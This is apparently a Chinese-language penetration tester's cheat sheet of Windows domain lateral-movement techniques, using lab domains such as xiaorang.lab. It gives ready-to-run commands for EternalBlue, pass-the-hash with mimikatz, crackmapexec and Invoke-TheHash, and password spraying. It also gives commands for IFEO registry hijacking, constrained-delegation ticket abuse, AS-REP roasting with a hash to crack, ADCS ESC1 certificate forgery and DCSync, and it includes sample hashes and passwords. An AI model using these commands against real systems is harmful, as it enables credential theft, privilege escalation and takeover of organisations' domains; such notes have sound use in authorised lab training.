内网横向记录
内网横向记录
MS17_010
内网机器中存在永恒之蓝漏洞,利用kali自带的msf即可攻击
1 | proxychains msfconsole |
成功之后会有交互式shell
哈希传递攻击
拿到用户的NTLM Hash值后可以进行哈希传递
原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
其中重要的是windows使用系统API(LsaLogonUser)生成hash进行认证,而不是用明文,所以利用hash即可模拟用户登录进行操作。还有的是如果密码长度大于15就不存在LM Hash,从windows2008开始微软默认禁用LM hash。
这类攻击适用于:
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash爆破
- 内网中存在和当前机器相同的密码
获取哈希值的方法有几种
###1.使用mimikatz获取哈希,但是得有管理员权限
1 | privilege::debug |
2.MSF
1 | load kiwi |
拿到hash之后可以PTH(凭据传递攻击)
3.wmiexec
1 | python wmiexec.py -hashes LM Hash:NTLM Hash 域名/用户名@IP "命令" |
4.使用Crackmapexec
1 | crackmapexec smb [ip] -u [user name] -H [hash] -d [domain] -x [command] |
5.PowerShell
拿下windows主机后,可以利用powershell执行Invoke-TheHash
1 | Invoke-WMIExec.ps1 |
使用Invoke-SMBExec.ps1
参数:
Target- 目标主机名或IP地址。
Username- 用于身份验证的用户名。
Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
Command- 在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
CommandCOMSPEC- 默认=Enabled:将%COMSPEC% /C预先添加到命令。
Service- 默认 = 20字符(随机):要在目标上创建和删除的服务名称。
Sleep- 默认 = 150毫秒:设置开始 - 睡眠值(以毫秒为单位)。
Version- 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用1。
1 | Import-Module .\Invoke-SMBExec.ps1 |
使用Invoke-TheHash.ps1&WMIExec.ps1
TheHash:可以远程对多个ip主机上执行 WMI 和 SMB 命令。
Target- 目标的主机名,IP地址,CIDR表示法或IP范围列表。
Username- 用于身份验证的用户名。
Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时无需此参数。
Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
Command- 在目标上执行的命令。如果命令未指定,则该函数将仅检查用户名和哈希是否可以访问目标上的WMI或SCM。
Type- 设置所需的Invoke-TheHash功能(支持SMBClient,SMBEnum,SMBExec或WMIExec)。
TargetExclude- 要从列表或目标中排除的主机名,IP地址,CIDR表示法或IP范围的列表。
PortCheckDisable- (Switch)禁用WMI或SMB端口检查。由于该功能尚未线程化,因此端口检查主要通过在尝试完全同步TCPClient连接之前,检查打开的WMI或SMB端口来提升速度。
PortCheckTimeout- 默认值 = 100:设置WMI或SMB端口检查的无响应超时时间(以毫秒为单位)。
CommandCOMSPEC- 默认 = Enabled:仅支持SMBExec。将%COMSPEC% /C预先添加到命令。
Service- 默认 = 20字符(随机):仅支持SMBExec。要在目标上创建和删除的服务名称。
SMB1- (Switch) 强制SMB1。仅支持SMBExec。默认执行SMB版本协商,如果目标支持,则使用SMB2。
Sleep- 默认 = WMI 10 毫秒,SMB 150 毫秒:设置启动 - 睡眠值(以毫秒为单位)。
WMIExec:WMI命令执行。
Target- 目标主机名或IP地址。
Username- 用于身份验证的用户名。
Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
Command-在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的WMI。
Sleep- 默认 = 10毫秒:设置开始 - 睡眠值(以毫秒为单位)。
示例:
1 | Invoke-WMIExec -Target [ip] -Domain [domain name] -Username [username] -Hash [hash] -Command "command or launcher to execute" -verbose |
参数:
1 | //这里先导入Invoke-WMIExec.ps1脚本 |
执行完后成功上线。
使用Invoke-SMBClient.ps1
SMB client同时支持SMB2.1和SMB签名。主要提供SMB文件共享功能,以使用没有远程命令执行权限的哈希。如果只有 SMB 文件共享的权限而没有远程执行权限的话,可以使用这个脚本列举远程主机上的共享目录、上传或下载文件、删除文件。
Username- 用于身份验证的用户名。
Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
Action- 默认 = List: 执行(List/Recurse/Delete/Get/Put) 操作。
List:列出目录内容。
Recurse:列出目录和所有子目录内容。
Delete:删除文件。
Get:下载文件。
Put:上传文件并设置创建,访问和上次写入时间以匹配源文件。
Source****(源)
List 和 Recurse:目录的UNC路径。
Delete:文件的UNC路径。
Get:文件的UNC路径。
Put:要上传的文件。如果未指定完整路径,则该文件必须位于当前目录下。使用”Modify”开关时,“Source”必须是字节数组。
Destination****(目标)
List 和 Recurse:未使用。
Delete:未使用。
Get:如果使用,value将是下载文件的新文件名。如果未指定完整路径,则将在当前目录下创建该文件。
Put:上传文件的UNC路径。必须指定文件名。
Modify
List and Recurse:输出一个由目录内容组成的对象。
Delete:未使用。
Get:输出下载文件的字节数组,而不是将文件写入磁盘。建议仅将其用于较小的文件,并将输出发送到一个变量。
Put:将字节数组上传到新的目标文件。
NoProgress- 不显示上传和下载进度条。
Sleep- 默认 = 100毫秒:设置开始 - 睡眠值(以毫秒为单位)。
Version- 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用1。
1 | Import-Module .\Invoke-SMBClient.ps1 |
我在windows server2012运行文件名显示一堆乱码,在2016就正常,应该是powershell的原因。
此脚本还可以操作执行其他的操作,比如上传、下载和删除文件。
1 | Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Put -Source test.txt -Destination \\WinSer2012.g1ts.com\c$\test.txt |
1 | Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Get -Source \\WinSer2016.g1ts.com\c$\hack.exe |
1 | Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Delete -Source \\WinSer2016.g1ts.com\c$\test.txt |
使用Invoke-SMBEnum.ps1脚本
通过签名或未签名的SMB2.1执行用户,组,NetSession和共享枚举任务。
Target- 目标主机名或IP地址。
Username- 用于身份验证的用户名。
Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
Action- (全部,组,NetSession,共享,用户)默认 = share:枚举共享。
Group- 默认 = Administrators:枚举组。
Sleep- 默认 = 150毫秒:设置开始 - 睡眠值(以毫秒为单位)。
Version- 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用1。
1 | Invoke-SMBEnum -Target 10.10.10.10 -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -verbose |
密码喷洒
1 | proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' |
密码过期,STATUS_PASSWORD_EXPIRED,修改密码
1 | proxychains python smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass '123456Aa@' |
镜象劫持
当时看到这个名就觉得好高级,实践过后发现竟然会有如此清奇的提权方式
查询IFEO权限
1 | get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl * |
1.注册表劫持
经典放大镜提权
powershell运行
1 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" |
之后锁定电脑桌面,来到锁屏界面,点击右下角的放大镜会跳出命令框,权限是admin
2.同样是相同的注册表项,利用MonitorProcess
实现映像劫持,此方法能够保证原程序正常运行,当程序退出
时会启动MonitorProcess指定的进程。
1 | # 需要设置GlobalFlag值为512 |
3.VerifierDlls
需要自己准备一个dll文件,至于dll文件里面执行什么是无所谓的。
1 | 1. 准备dll --> test.dll 并放入c:\windows\SysWOW64目录 |
约束委派攻击
什么时候打约束委派攻击:当服务账户配置了约束性委派,切拿到了域控用户的hash
systeminfo+
看我孟哥写的,太好了呜呜呜,什么时候才有孟哥这么强https://xz.aliyun.com/t/12743?time__1311=GqGxu7G%3DSDlr%3DiQGkQDODcGDn7%2B2%3DvYx
简单说一下什么是约束委派
用户A,服务servic1和服务service2,域控DC
A想要访问service1,他向DC发起kerberos认证,DC返回A的TGT和ST1票据,A拿着ST1票据对service1进行访问;如果配置了service1到service2的约束委派,则service1能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;DC返回service1一个用来访问service2的ST2票据,这样service1就能以用户的身份对service2发起访问。
说一下攻击方式吧,后面扒个环境试试
查看约束委派
1 | AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto |
管理员权限运行mimikatz 导出MSSQLSERVER的票据
1 | privilege::debug |
再用kekeo申请服务票据
1 | tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@XIAORANG.LAB /service:cifs/DC.XIAORANG.LAB |
1 | mimikatz.exe "kerberos::ptt TGS_Administrator@XIAORANG.LAB@XIAORANG.LAB_cifs~DC.XIAORANG.LAB@XIAORANG.LAB.kirbi" "exit" |
或者Rubeus
首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到 Base64 加密后的 TGT 票据
1 | .\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:c6f58ffaa5ae21240ef122eb09e47c76 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt |
Kerberos AS-REP Roasting
在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举
对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,此时域控不会进行任何验证就将 TGT 和该用户 Hash 加密的 Login Session Key 返回。因此,攻击者就可以对获取到的用户 Hash 加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码。
1 | proxychains ./kerbrute_linux userenum --dc 172.22.6.12 -d xiaorang.lab 2.txt -t 10 |
之后hashcat爆破
1 | hashcat -m 18200 --force -a 0 "$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994" rockyou.txt |
SharpHound信息搜集
1 | Find all Domain Admins 查找所有域管理员 |
##mimikatz
https://www.cnblogs.com/togentle/articles/17081075.html
运行的时候管理员运行
1 | privilege::debug |
ADCS ESC1
ESC1利用前提条件:
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
查看证书
1 | proxychains certipy find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout |
申请 XR Manager 证书模版并伪造域管理员,得到administrator.pfx,然后利用administrator.pfx证书获取 TGT 和 NTLM Hash
1 | proxychains certipy req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab' |
DCSync–writeDacl
DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。所以当我们看到EXC01机器账户默认对域内成员具有writeDacl权限,所以EXC01机器就可以修改其他账户的ACL,从而使Zhangtong获得DCSync,从而就可以使用Zhangtong,来抓域控哈希了)
1 | 添加DCSync |